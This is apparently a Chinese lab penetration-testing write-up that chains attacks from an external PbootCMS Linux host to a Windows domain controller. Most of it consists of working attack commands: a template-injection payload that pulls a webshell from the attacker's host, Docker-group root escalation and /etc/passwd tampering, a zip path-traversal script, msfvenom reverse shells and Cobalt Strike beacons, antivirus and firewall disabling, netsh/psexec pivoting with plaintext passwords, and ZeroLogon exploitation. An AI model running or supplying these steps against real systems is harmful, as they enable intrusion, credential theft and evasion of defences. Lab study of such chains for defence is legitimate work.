一、网络示意图
此次最终目标是拿下有防护内网之中的DC机器。
二、信息收集
2.0 netdiscover存活探测
使用命令“ netdiscover -i eth0 -r 192.168.0.0/24 ”
2.1 端口扫描
可以先用masscan 探测哪些端口开放,再用nmap 扫描开放端口具体信息。
masscan 192.168.0.121 -p 1-65535 --rate=1000
这里同时可以ping一下这个IP,发现ttl是64,这个值一般是Linux。Win的一般是128.
nmap -sC -p 3306,22,8888,21,888,80 -A 192.168.0.121 -oA attack-linux
-Sc 是调用默认脚本取探测
-oA 是将结束输出到webhack文件中(会产生多个文件)
2.2 绑定hosts
通过上边的信息收集,大概知道目标是一个宝塔搭建的Linux主机。这就有点微微难搞,
毕竟宝塔的安全性做的还是蛮好的。访问一下80端口看看。要绑定域名。
绑定之后访问,发现是一个cms。
四、对目标进行渗透测试
4.1 测试外网Linux服务器
4.1.1 确认目标使用CMS版本信息
我们去百度搜索一下上边找到的cms,将源代码下载。
发现PbootCMS-3.0.3\doc目录下存在版本说明文件。我们尝试访问目标地址。
发现目标版本信息。
去官网将此版本下载。安装到本地。
4.1.2 测试CMS思路
去网上找找有没有已经爆出对应的版本漏洞,或者去找找有没有新版本发布。
对比新版本与目标安装版本,看看有哪些改动,特别是有一些修复的漏洞。
看看修复方式能不能绕过,这里先不展开。
4.1.3 目录扫描找到备份文件
按照正常渗透测试流程,先扫扫目录。
使用命令来扫描一下备份文件,Linux一般是tar.gz而win则是rar,zip。
gobuster dir -u http://www.cf1.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x "tar.gz"
直接访问下载,打开看看。
这里还有一个小技巧。就是Linux环境下,使用vim编辑一些文件遇到突然终端的情况,
有时候会产生一些临时文件,即在原文件名称后边加一个“~”。如该网站:
访问该文件,即可下载数据库信息。
将下载的文件,通过navcat打开。找到admin账户及其密码。
这种情况适用于,目标是Linux服务器。
有源代码,知道一些敏感文件(如配置文件)的具体路径,
我们直接使用浏览器访问这些配置文件,类似的临时文件还有swp。
如原文件名称是a.php将会产生“ .a.php.swp ”文件。
4.1.4 登录后台拿shell
通过上边我们得到账户密码(md5已经解开)为admin,admin7788
在网上看到一些此cms存在代码执行漏洞,其触发点在这,
测试phpinfo执行成功,但是想要写木马就有一些费事,
因为他的框架上边限制了很多危险函数,
最终思路如下:
先在本机写一个免杀一句马,用py开放访问。
在让目标来读取本机一句马并写入到一个新的文件中。
先在kali机器开放文件,
我们在站点描述处,填写以下代码并提交,
{
pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['2','.php']),implode('',['<?php file_','put_','contents(','"xiaom.php",','file','_get_','contents("','http://192.168.0.105/2.txt"))?>'])))}!!!{
/pboot:if}
然后访问一下首页去触发刚刚的内容,
成功触发,
目标已经来读取本机的小马文件了,
成功拿下,
4.1.5 bypass 宝塔disable_functions 执行命令
但是此时是无法执行命令的,
我们先将刚刚写木马的php文件内容改成phpinfo,不然每次访问都会去生成木马。
可以看到宝塔禁止的函数很多,
同时看到php的版本是7,这个版本有一些函数可以绕过宝塔的过滤进行命令执行。
下载地址:https://github.com/mm0r1/exploits 下载之后将文件上传到服务器,
访问exp文件,发现目标执行了“ uname -a ”命令,但是通过修改执行命令比较麻烦。
我们小改动一下脚本,
试试效果,
4.1.6 信息收集密钥登录ssh
此时发现脚本的输出都在同一行,不美观。在小改一下。
这样就会原样格式输出,
查看home文件夹,发现仅仅一个文件夹,
发现SSH的公钥与私钥。
将密钥复制保存,
执行连接,竟然还要密码。
疏忽了,还要给密钥文件设置权限。一般来说:
对.ssh目录设置700权限
对id_rsa,authorized_keys文件设置600权限
对id_rsa.pub,known_hosts文件设置644权限
所以,权限设置不对的话ssh登陆不上Linux系统
4.1.7 docker本地导入镜像文件提权root
查看当前目录,发现目前的cf1用户拥有sudo的权限,但是我们不知道当前用户的密码。
这就显得很鸡肋了。
继续收集信息发现当前用户处在docker组内,那这不就相当于在root组了。
Docker提权的原理:
正常操作docker的一些环境设置都需要sudo权限,但是有时候我想让a用户帮我操作docker且不想给他sudo权限。那就把a用户加入docker组。Docker组内成员和root都可以修改docker的配置,
貌似皆大欢喜的场面,但是也忽略了一个风险,即a用户可以利用docker进行提权。
具体原因如下:
docker 允许挂载主机的目录,那么挂载 /etc 文件之后就可以任意修改主机配置了;
也就是说,原本应该与主机完全隔离的用户系统,通过挂载,容器直接使用了主机的用户系统。在容器内对用户权限的修改,都等同于在主机上进行修改!!!
简单总结就是,docker通过挂载的功能,可以修改主机root文件的权限,进而进行提权。
=================================================
我们先看看目标都有什么镜像,
没有发现alpine镜像(迷你的linux系统),直接使用命令“ docker pull alpine ”下载。
报错没有联网,那我们先去本地下载一个,在上传到目标。下载完毕后,
使用“ sudo docker save alpine > alpine.tar ”将镜像导出,
将文件复制到kali,
使用命令“ wget http://192.168.0.105:8080/alpine.tar ”将镜像下载到目标机器。
使用命令“ docker load <alpine.tar ”将镜像加载。
使用命令“ docker run -v /etc:/mnt -it alpine ”将目标容器的mnt目录挂载到目标etc目录,
并产生一个交互shell,此时通过访问容器的mnt目录就可以访问到目标etc目录下的内容,
4.1.8 openssl生成密文修改passwd获取root权限
此时我们可以增删改root下的文件了,
接下来我们通过修改passwd文件直接加一个root用户。
新开一个终端,执行命令“ openssl passwd -1 --salt xbb ”,写上密码后产生密文。
将字符串“ xbb:$1$xbb$b5Fi7l/eYp4JiqSd87JPC1:0:0::/root:/bin/bash ”加入passwd最后一行。
字符串根据etc/passwd的root修改就行。
退回到系统命令行,切换到我们的xbb用户,输入刚刚设置的密码xbb123456。
到此,我们的第一台主机搞定。
4.2 测试外网win服务器
4.2.1 安装nmap扫描内网WEB服务器
此时我们发现目标机器没有安装nmap,并且网络不通,
我们给他修改一些配置,调试一下网路,命令“ vi /etc/resolv.conf ”,
此时,在试试网络通不通,通顺直接“ apt install nmap ”安装nmap。
看看网络信息,之后进行内网主机发现,命令“ nmap -sn 192.168.0.0/24 -T 4 -v ”。
发现我们的下一个目标124.
使用命令“ nmap -F 192.168.0.124 ”对目标进行一次快速扫描,
其实我们也可以安装masscan,来快速扫描开放了哪些端口。使用完毕记得卸载。
命令“ apt-get remove nmap ”
4.2.2 jspxcms 后台拿webshell
我们访问192.168.0.124:8080,发现后台。
弱密码,admin,123456直接登录进去。
网上找到存在一个目录穿越配合压缩包在线解压拿shell的思路。
为什么使用下边这么麻烦的的步骤,因为服务器存在杀软,所以要整一个免杀jsp。
先创建一个py文件,内容如下:
import zipfile
if __name__ == "__main__":
try:
binary = b'<script>alert("helloworld")</script>'
zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test5.zip")
zipFile.writestr("../../../xbb.html", binary)
zipFile.close()
except IOError as e:
raise e
然后使用py2版本执行脚本,会生成一个压缩包,内涵一个html.
在加入一个后门war包,里边就一个jsp免杀木马,如图。
免杀马下载地址,https://github.com/SecurityRiskAdvisors 。
上传后点击解压,
去访问,发现木马成功上传。
木马需要主动连接,新建一个html,内容为
“ <script type="text/javascript" src="a.js"></script> ”,同时修改js文件内为目标地址,
打开html,测试命令,
执行成功,
但是文件上传功能不能正常使用。
4.2.3 上线MSF
经过测试msf的jsp木马竟然过了杀软,直接上线。
生成木马命令
“ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f raw > shell.jsp ”
生成jsp源代码保存到shell.jsp中。
使用命令“ jar -cvf shell.war shell.jsp ”将shell.jsp打包成shell.war中。
将shell.war也放到test5中。
删除刚刚上传的test5,重新上传新打包的,并解压。
访问一下,发现成功上传。
启动msf,并建立监听。“ set payload java/jsp_shell_reverse_tcp ”,
开启监听,刷新一下木马页面成功上线。
还是管理员权限,
看看360进程,全家桶都在。
4.2.4 免杀木马上线CS
使用CS做一个免杀木马,打包成压缩包。
上传解压缩,
通过“ cd /d c:/ ”与“ dir /S bp360.* ”命令找到上传文件的绝对路径。
一个回车,直接上线。记得上线后调整一些沉睡时间。
4.2.5 对tomcat-web内网主机收集NLTM 并破解
调整完毕沉睡时间之后,直接抓取明文与哈希。
高版本得win服务器一般都抓不到明文了,我们拿着哈希去破解一下。
利用445端口,小小探测一波内网存活主机。
本机IP是129,探测到128存活。同发现128存在域“ FBI ”。
对128扫一下常见端口,存活端口不多。
4.2.6 cobalt scrikte psexec登录内网服务器
使用命令“ shell dir \\10.10.1.128\c$ ”可以直接获取到目标得C盘信息,
这就说明,目标和当前机器得密码一样,这在内网环境是很常见的事情。
利用的原理就是哈希传递。使用pth直接攻击,失败。
4.2.7 上线MSF
使用命令
“ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=3344 -f csharp >msf.code ”
创建木马,
注意上边的“ x64 ”。
将代码复制出来,使用掩日进行免杀。通过CS上传到服务器。
上传msf,
4.2.8 调试远程桌面连接目标机器
使用“ netstat ”发现目标没有开放3389端口,
使用“ run getgui -e ”来开启目标3389端口,
上边的意思是开启了,但是有点错误,被防火墙拦截了。
3389是已经开启了,但是此时是正常连接不上的。
使用命令将端口转发
portfwd add -l 3389 -p 3389 -r 192.168.0.124
即此时连接kali的3389就相当于连接目标的。但是会话掉了。
重新启动一下监听,再次上线后,再次启动端口转发,连接成功。
连接后,将360全家退出,win自带杀软关闭实时监控。也可以同时关闭防火墙,省的耽误接下来的操作。
这里有两点需要注意!
第一, 假如会话掉了,被360拦截了,就生成一个混淆几次的木马,
使用命令
“ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=3344 -i 5 -f csharp >msf.code ”
创建木马。
第二, 假如远程桌面连接提示错误,这是版本不兼容导致的。
用同样版本的或者是 win2016 的主机连接就能解决。
五、内网渗透
5.1 横向拿下文件服务器
5.1.1 metasploit 反向连接多层网段穿透防火墙得到meterpreter
到这,第二台外网服务器也拿下。且可以访问文档服务器的C盘。
此时思路:
传木马到文档服务器,让他反向出来连接外网win服务器,外网win服务器做个中转,
将会话反弹给kali。这中间要穿透文件服务器与外网win服务器的防火墙。
使用“ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.129 lport=7788 -f exe >msf.exe ”来生成连接外网win服务器7788端口的木马。
通过外网web服务器复制木马到文档服务器,
使用命令“ shell copy c:\msf.exe \\10.10.1.128\c$ ”复制文件到文件服务器。
上边记得看看是不是成功复制到了目标C盘,然后去msf上开启监听,
在外网win服务器上监听本机的7788端口,将监听到的流量全部转发给kali机器的7788端口,使用命令:
shell netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.0.105 connectport=7788
之后使用“ shell netsh interface portproxy show all ”查看有没有开启成功,
通过远程桌面连接,将psexec 上传到外网win服务器,
命令“ Psexec.exe \\10.10.1.128 -u administrator -p QWEasd123 -i c:/msf.exe ”。
但是,此时msf并没有上线,这就很奇怪了,
这里猜测是防火墙的原因,我们调整一下,开发7788端口,好让外网win服务器来接收文件服务器。使用命令:
shell netsh advfirewall firewall add rule name="7788" protocol=TCP dir=in localport=7788 action=allow
成功接到会话。
查看用户,恩嗯是文件服务器。
5.1.2 补充,防火墙,psexec说明
(1)
这里多说一下,一般防火墙是防止别人通过端口连接或者访问到本机,
但是一般不会拦截本机流量出去。
所以这里对文件服务器生成的反向连接木马,让文件服务器来连接外网win服务器。
且让外网win服务器放行7788端口,好让文件服务器的流量进来。
(2)
还有一点,其实在上边psexec那,我们使用命令
“ Psexec.exe \\10.10.1.128 -u administrator -p QWEasd123 -s cmd ”
就可以执行文件服务器上的命令了。
(3)
端口流量转发利用的Windows自带服务:netsh interface portproxy 。
5.1.3 对内网进行信息收集
(1)看看网络信息,发现目标在fbi域内。且dns服务器为10.10.10.139(疑似域控)。
(2)使用arp -a看到缓存中,10段内网仅仅139存活。
增加路由,开启socks代理。准备扫扫这个可疑Ip。
扫描是开发状态,“ proxychains nmap -sT -Pn 10.10.10.139 -p 445,88 ”
一般域控的88端口都是开放的。
(3)直接ping dc,也可以发现域控。
(4)使用“ run post/windows/gather/enum_domain ” 也可以发现域控。
5.1.4 使用cve-2020-1472拿下域控
下载脚本地址“ https://github.com/SecuraBV/CVE-2020-1472 ”。
发现目标易受到攻击。
接下来获取哈希失败就不放图了。
5.2 使用CS横向拿下文件服务器
5.2.1 第一种方法
思路与msf基本一致,
传木马到文档服务器,让他反向出来连接外网win服务器,外网win服务器做个中转,
将会话反弹给kali的CS。这中间要穿透文件服务器与外网win服务器的防火墙。
到这里,防火墙一般不是问题,因为反弹会话的木马,文件服务器的防火墙是不会拦截的。
主要就是关闭外网win服务器的防火墙,或者放行响应的端口。
新建监听,让木马将会话反弹给外网win服务器。
生成后门,选择这个木马。
选择刚刚新建的“ 中转 ”监听器,
将木马上传到外网win服务器,
使用命令
“ shell copy c:\beacon.exe \\10.10.1.128\c$ ”
将木马复制到文件服务器上,并查看是否成功复制,
先关闭外网win服务器的防火墙,免得一会接收不到文件服务器的流量,
关闭防火墙的命令“ netsh advfirewall set allprofiles state off ”,
查看防火墙状态“ Netsh Advfirewall show allprofiles ”
在外网win服务器上,建立中转会话,一会将7790端口接到文件服务器的会话反弹到CS的7791端口。
转发流量命令
“ shell netsh interface portproxy add v4tov4 listenport=7790 connectaddress=192.168.0.105 connectport=7791 ”
查看流量命令
“ shell netsh interface portproxy show all ”
在cs上,新建监听,来接收一会外网win服务器转发的流量,
万事俱备,就差在文件服务器上运行木马程序,
使用psexec,在外网win服务器上连接到文件服务器
“ Psexec.exe \\10.10.1.128 -u administrator -p QWEasd123 -s “
执行木马,上线CS。
5.2.2 第二种方法
先把外网win服务器的防火墙开启,
新建监听,在外网win服务器的会话上建立,
具体设置如下,
生成木马,
上传到文件服务器并执行。具体步骤不在细说,见上边。
在外网win服务器上建立端口转发规则
“ shell netsh advfirewall firewall add rule name="7792" protocol=TCP dir=in localport=7792 action=allow “。
执行木马,上线CS。
5.2.3 对内网进行信息收集
使用ipconfig /all来看看网卡信息,发现是在域内。
使用“ shell net view domain “来列举域内信息,无法列出。
使用“ apr -a “来查看网络缓存中的主机,发现内网的另一台主机。
对常见端口进行扫描,发现10.10.10.139名字是dc,一般域控都会开放88端口。
使用命令“ portscan 10.10.10.139 445,88 arp “
直接ping dc也可以发现域控就是139主机。
5.2.4 使用cve-2020-1472拿下域控
先开启socks代理。
将cmd加入代理软件。
在隧道中打开cmd,cd到CVE-2020-1472文件夹,使用命名:
“ python3 CVE-2020-1472.py dc dc$ 10.10.10.139 ”来探测域控是否存在漏洞。
经过几分钟等待,发现存在漏洞。
下载Impacket ,使用“ python3 setup.py install ”下载最新得版本。
在代理的cmd中,执行。
“ python3 secretsdump.py fbi/dc\$@10.10.10.139 -just-dc -hashes : ”
接下来,没有成功。。。。就不放图了,很迷。